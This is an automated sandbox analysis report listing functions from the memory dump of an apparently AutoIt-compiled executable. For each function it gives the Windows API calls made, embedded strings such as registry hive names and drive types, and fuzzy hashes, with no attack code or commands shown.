String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 1ade0377f288c2048322b36008c67b5e41035751701883a41b1b10854ffb0b84
Instruction ID: 0f00116804fe1d30e79d9c51df982502eeb2e4742594fa67a58e7ff4abc2e69b
Opcode Fuzzy Hash: 1ade0377f288c2048322b36008c67b5e41035751701883a41b1b10854ffb0b84
Instruction Fuzzy Hash: 41028C71500209EFDB15DFA4CC89EAE7BBAFB49714F008258F915AB2A1DB74AD01CF64

Function 00688D85 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 00688E14
SendMessageW.USER32(?,00001308,?,00000000), ref: 006C6AC5
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 006C6AFE
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 006C6F43

Part of subcall function 00688F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00688BE8,?,00000000,?,?,?,?,00688BBA,00000000,?), ref: 00688FC5

SendMessageW.USER32(?,00001053), ref: 006C6F7F
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 006C6F96
ImageList_Destroy.COMCTL32(00000000,?), ref: 006C6FAC
ImageList_Destroy.COMCTL32(00000000,?), ref: 006C6FB7

Strings

0, xrefs: 006C6DCF

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0
API String ID: 2760611726-4108050209
Opcode ID: d170739995704483a597b7aacaabb31daf33ffabfe69df646786994baee41b59
Instruction ID: f988ef7456915119be41adc5b25143620da2f5b67fa974698144abb4eaf252b4
Opcode Fuzzy Hash: d170739995704483a597b7aacaabb31daf33ffabfe69df646786994baee41b59
Instruction Fuzzy Hash: 76128A34204241DFDB25EF14C848FB5B7A6FB49300F94866EF5958B261CB35EC92CB99

Function 006F2711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 006F273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 006F286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 006F28A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 006F28B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 006F2900
GetClientRect.USER32(00000000,?), ref: 006F290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 006F2955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 006F2964
GetStockObject.GDI32(00000011), ref: 006F2974
SelectObject.GDI32(00000000,00000000), ref: 006F2978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 006F2988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 006F2991
DeleteDC.GDI32(00000000), ref: 006F299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 006F29C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 006F29DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 006F2A1D
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 006F2A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 006F2A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 006F2A77
GetStockObject.GDI32(00000011), ref: 006F2A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 006F2A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 006F2A97

Strings

DISPLAY, xrefs: 006F295A
AutoIt v3, xrefs: 006F28F8
msctls_progress32, xrefs: 006F2A13
static, xrefs: 006F294F, 006F2A71

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 696f3e0107f4fc7b76ac07c2351ef2b14acd9523eb28f22d6df584193ee07d2d
Instruction ID: 35ed174138669326dddc4491227292bb579106d225a59dbbcebefca7269b22d0
Opcode Fuzzy Hash: 696f3e0107f4fc7b76ac07c2351ef2b14acd9523eb28f22d6df584193ee07d2d
Instruction Fuzzy Hash: 11B15FB5A40209AFEB14DF68CC45FAE7BA9EB05710F108255FA14E7290DB74ED40CB94

Function 006E4ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 006E4AED
GetDriveTypeW.KERNEL32(?,0070CB68,?,\\.\,0070CC08), ref: 006E4BCA
SetErrorMode.KERNEL32(00000000,0070CB68,?,\\.\,0070CC08), ref: 006E4D36

Strings

SATA, xrefs: 006E4CD0
RAID, xrefs: 006E4CBB
Network, xrefs: 006E4C02
iSCSI, xrefs: 006E4CC2
Fibre, xrefs: 006E4CAD
MMC, xrefs: 006E4CDE
1394, xrefs: 006E4C9F
SSA, xrefs: 006E4CA6
Unknown, xrefs: 006E4BED, 006E4C83
RAMDisk, xrefs: 006E4BF4
Fixed, xrefs: 006E4C09
PhysicalDrive, xrefs: 006E4B76
FileBackedVirtual, xrefs: 006E4CEC
Removable, xrefs: 006E4C10, 006E4C15
SCSI, xrefs: 006E4C8A
\\.\, xrefs: 006E4B3F
USB, xrefs: 006E4CB4
CDROM, xrefs: 006E4BFB
ATAPI, xrefs: 006E4C91
SSD, xrefs: 006E4C4A
ATA, xrefs: 006E4C98
SAS, xrefs: 006E4CC9
Virtual, xrefs: 006E4CE5

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: c7e6caea054d39fba99a6d7fc18fb41c87f8d5b3d1fcf8a0facc0f1bcca0d96e
Instruction ID: b188f6abcccd14c55385fd8d1d9e04df31f4f0fc1e9dd5011be44d9d4b8afc6c
Opcode Fuzzy Hash: c7e6caea054d39fba99a6d7fc18fb41c87f8d5b3d1fcf8a0facc0f1bcca0d96e
Instruction Fuzzy Hash: 37618F70707385ABDB04DF35C9829A977A2AB04B00B34C519F80AAB792DF29ED42DB55

Function 00700FF3 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 284windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00701128
GetDesktopWindow.USER32 ref: 0070113D
GetWindowRect.USER32(00000000), ref: 00701144
GetWindowLongW.USER32(?,000000F0), ref: 00701199
DestroyWindow.USER32(?), ref: 007011B9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,7FFFFFFD,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 007011ED
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0070120B
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0070121D
SendMessageW.USER32(00000000,00000421,?,?), ref: 00701232
SendMessageW.USER32(00000000,0000041D,00000000,00000000), ref: 00701245
IsWindowVisible.USER32(00000000), ref: 007012A1
SendMessageW.USER32(00000000,00000412,00000000,D8F0D8F0), ref: 007012BC
SendMessageW.USER32(00000000,00000411,00000001,00000030), ref: 007012D0
GetWindowRect.USER32(00000000,?), ref: 007012E8
MonitorFromPoint.USER32(?,?,00000002), ref: 0070130E
GetMonitorInfoW.USER32(00000000,?), ref: 00701328
CopyRect.USER32(?,?), ref: 0070133F
SendMessageW.USER32(00000000,00000412,00000000), ref: 007013AA

Strings

(, xrefs: 0070131B
tooltips_class32, xrefs: 007011E6
0, xrefs: 007010D3

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 20895521438700935bae97159d7ecc6596d2146e130dcf14b68f99af15ef36bc
Instruction ID: eac9baa84f8ec238a7903e951229ccf19310ddb58f817442a7291fa91a529a1c
Opcode Fuzzy Hash: 20895521438700935bae97159d7ecc6596d2146e130dcf14b68f99af15ef36bc
Instruction Fuzzy Hash: 6CB19A71604341EFD714DF64C884B6ABBE5FF84704F408A1CF9999B2A1DB35E844CBA6

Function 00688891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00688968
GetSystemMetrics.USER32(00000007), ref: 00688970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 0068899B
GetSystemMetrics.USER32(00000008), ref: 006889A3
GetSystemMetrics.USER32(00000004), ref: 006889C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 006889E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 006889F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00688A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00688A3C
GetClientRect.USER32(00000000,000000FF), ref: 00688A5A
GetStockObject.GDI32(00000011), ref: 00688A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 00688A81

Part of subcall function 0068912D: GetCursorPos.USER32(?), ref: 00689141
Part of subcall function 0068912D: ScreenToClient.USER32(00000000,?), ref: 0068915E
Part of subcall function 0068912D: GetAsyncKeyState.USER32(00000001), ref: 00689183
Part of subcall function 0068912D: GetAsyncKeyState.USER32(00000002), ref: 0068919D

SetTimer.USER32(00000000,00000000,00000028,006890FC), ref: 00688AA8

Strings

AutoIt v3 GUI, xrefs: 00688A20

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 5a2269d1d72d0ed81502d0ab0458222897edf5788aee94cc24627e9fde7d8d75
Instruction ID: e292f0fe049c92a77113830cafe8063d66d9b63c768a3dd094945118f36f81da
Opcode Fuzzy Hash: 5a2269d1d72d0ed81502d0ab0458222897edf5788aee94cc24627e9fde7d8d75
Instruction Fuzzy Hash: 6CB15D75A00209DFDF14EF68CC45BEE3BB6FB48314F508229FA15AB290DB74A841CB59

Function 006D0D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006D10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 006D1114
Part of subcall function 006D10F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,006D0B9B,?,?,?), ref: 006D1120
Part of subcall function 006D10F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,006D0B9B,?,?,?), ref: 006D112F
Part of subcall function 006D10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,006D0B9B,?,?,?), ref: 006D1136
Part of subcall function 006D10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 006D114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 006D0DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 006D0E29
GetLengthSid.ADVAPI32(?), ref: 006D0E40
GetAce.ADVAPI32(?,00000000,?), ref: 006D0E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 006D0E96
GetLengthSid.ADVAPI32(?), ref: 006D0EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 006D0EB5
HeapAlloc.KERNEL32(00000000), ref: 006D0EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 006D0EDD
CopySid.ADVAPI32(00000000), ref: 006D0EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 006D0F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 006D0F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 006D0F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 006D0F6E
HeapFree.KERNEL32(00000000), ref: 006D0F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 006D0F7E
HeapFree.KERNEL32(00000000), ref: 006D0F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 006D0F8E
HeapFree.KERNEL32(00000000), ref: 006D0F95
GetProcessHeap.KERNEL32(00000000,?), ref: 006D0FA1
HeapFree.KERNEL32(00000000), ref: 006D0FA8

Part of subcall function 006D1193: GetProcessHeap.KERNEL32(00000008,006D0BB1,?,00000000,?,006D0BB1,?), ref: 006D11A1
Part of subcall function 006D1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,006D0BB1,?), ref: 006D11A8
Part of subcall function 006D1193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,006D0BB1,?), ref: 006D11B7

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 928871adc3f51b7526fb8d6638c58b74363bd9261a757b87d7939d2bfc9b4315
Instruction ID: 836f0e3bb80143aba7e723c97debb08c8034f8066f5400fb9399bd3ebf8f046e
Opcode Fuzzy Hash: 928871adc3f51b7526fb8d6638c58b74363bd9261a757b87d7939d2bfc9b4315
Instruction Fuzzy Hash: D8716F72D0020AEBEF21DFA4DC49FEEBBB9BF05300F148216F915A6291DB759905CB60

Function 006FC3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 006FC4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,0070CC08,00000000,?,00000000,?,?), ref: 006FC544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 006FC5A4
_wcslen.LIBCMT ref: 006FC5F4
_wcslen.LIBCMT ref: 006FC66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 006FC6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 006FC7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 006FC84D
RegCloseKey.ADVAPI32(?), ref: 006FC881
RegCloseKey.ADVAPI32(00000000), ref: 006FC88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 006FC960

Strings

REG_DWORD, xrefs: 006FC804
REG_EXPAND_SZ, xrefs: 006FC5CD
REG_MULTI_SZ, xrefs: 006FC6F5
REG_SZ, xrefs: 006FC644
REG_BINARY, xrefs: 006FC913
REG_QWORD, xrefs: 006FC8C3

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: 7194a52d57da28afef772896ad096087021a2de4497657d1417f45e8af9253a1
Instruction ID: d502c211b537eb71d196fb8d3a3192a2754ec1e8f5f39ec74323159bec38a47e
Opcode Fuzzy Hash: 7194a52d57da28afef772896ad096087021a2de4497657d1417f45e8af9253a1
Instruction Fuzzy Hash: C3127A352042059FDB54DF24C981E6ABBE6FF88724F14885CF95A9B3A2DB31EC41CB85

Function 0070091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 007009C6
_wcslen.LIBCMT ref: 00700A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00700A54
_wcslen.LIBCMT ref: 00700A8A
_wcslen.LIBCMT ref: 00700B06
_wcslen.LIBCMT ref: 00700B81

Part of subcall function 0068F9F2: _wcslen.LIBCMT ref: 0068F9FD

Part of subcall function 006D2BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 006D2BFA

Strings

ISCHECKED, xrefs: 00700CE1
SELECT, xrefs: 00700D11
EXISTS, xrefs: 00700B7C, 00700B97
GETSELECTED, xrefs: 00700C4E
CHECK, xrefs: 00700A85, 00700AA0
GETTOTALCOUNT, xrefs: 007009F2, 00700A17
COLLAPSE, xrefs: 00700B01, 00700B1C
GETITEMCOUNT, xrefs: 00700C1E
EXPAND, xrefs: 00700BF8
GETTEXT, xrefs: 00700C97
UNCHECK, xrefs: 00700D3E

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: 12fa7edd9e623404519a0025117f33da2dbd51a880fec528de1c63e729ff74b1
Instruction ID: 306b09a6e2f24b963d4c380a53561e7afd80b490e0f28e1792780382172332dd
Opcode Fuzzy Hash: 12fa7edd9e623404519a0025117f33da2dbd51a880fec528de1c63e729ff74b1
Instruction Fuzzy Hash: 07E1AE71208301DFC754DF24C450A2AB7E2BF98324F148A5DF89A9B3A2DB38ED45CB95

Function 006FC998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,006FB6AE,?,?), ref: 006FC9B5
_wcslen.LIBCMT ref: 006FC9F1
_wcslen.LIBCMT ref: 006FCA68
_wcslen.LIBCMT ref: 006FCA9E
_wcslen.LIBCMT ref: 006FCAF9
_wcslen.LIBCMT ref: 006FCB2F
_wcslen.LIBCMT ref: 006FCB7F

Strings

HKEY_LOCAL_MACHINE, xrefs: 006FCA62, 006FCA67
HKEY_USERS, xrefs: 006FCBDF
HKU, xrefs: 006FCBF0
HKCU, xrefs: 006FCBCE
HKLM, xrefs: 006FCA98, 006FCA9D
HKEY_CLASSES_ROOT, xrefs: 006FCAF3, 006FCAF8
HKEY_CURRENT_USER, xrefs: 006FCBBD
HKCR, xrefs: 006FCB29, 006FCB2E
HKEY_CURRENT_CONFIG, xrefs: 006FCB79, 006FCB7E
HKCC, xrefs: 006FCBAC

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: 15a59103e9784133d0b0560c6d09221a85c2b49145686ff508be85c978b66bd0
Instruction ID: a3196f16ff9bd80926c90e57bcc90088531d5bdbd10ef4fbc72a38f88ea86990
Opcode Fuzzy Hash: 15a59103e9784133d0b0560c6d09221a85c2b49145686ff508be85c978b66bd0
Instruction Fuzzy Hash: AB71F27260012E8BCB20DE7CCA519FA3397AFA0774F214528FA6697385EA35DD45C3A0

Function 0070833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0070835A
_wcslen.LIBCMT ref: 0070836E
_wcslen.LIBCMT ref: 00708391
_wcslen.LIBCMT ref: 007083B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 007083F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,0070361A,?), ref: 0070844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00708487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 007084CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00708501
FreeLibrary.KERNEL32(?), ref: 0070850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0070851D
DestroyIcon.USER32(?), ref: 0070852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00708549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00708555

Strings

.icl, xrefs: 00708368
.dll, xrefs: 007083AB
.exe, xrefs: 00708388

Memory Dump Source

Source File: 0000000B.00000002.2694679873.0000000000671000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00670000, based on PE: true

Associated: 0000000B.00000002.2694624521.0000000000670000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.000000000070C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2694886088.0000000000732000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695084785.000000000073C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2695157017.0000000000744000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_670000_2ada66c192.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: 0e057f0269ad623b7d87102cfe6b77bb6ba620d822a9fd106360663c0cebab71
Instruction ID: 678b275b1f108bc1f449337ece912b9545d1d8d8ddda8db9439918338ec9ad86
Opcode Fuzzy Hash: 0e057f0269ad623b7d87102cfe6b77bb6ba620d822a9fd106360663c0cebab71
Instruction Fuzzy Hash: C461EE71500219FAEB54CF64CC81BBE77ACBB08B21F108709F855D61D1DFB8AA91CBA0

Function 006900C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 006900C6

Part of subcall function 006900ED: InitializeCriticalSectionAndSpinCount.KERNEL32(0074070C,00000FA0,F4491903,?,?,?,?,006B23B3,000000FF), ref: 0069011C
Part of subcall function 006900ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,006B23B3,000000FF), ref: 00690127
Part of subcall function 006900ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,006B23B3,000000FF), ref: 00690138
Part of subcall function 006900ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 0069014E
Part of subcall function 006900ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 0069015C
Part of subcall function 006900ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 0069016A
Part of subcall function 006900ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00690195
Part of subcall function 006900ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 006901A0

___scrt_fastfail.LIBCMT ref: 006900E7

Part of subcall function 006900A3: __onexit.LIBCMT ref: 006900A9

Strings

InitializeConditionVariable, xrefs: 00690148
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00690122
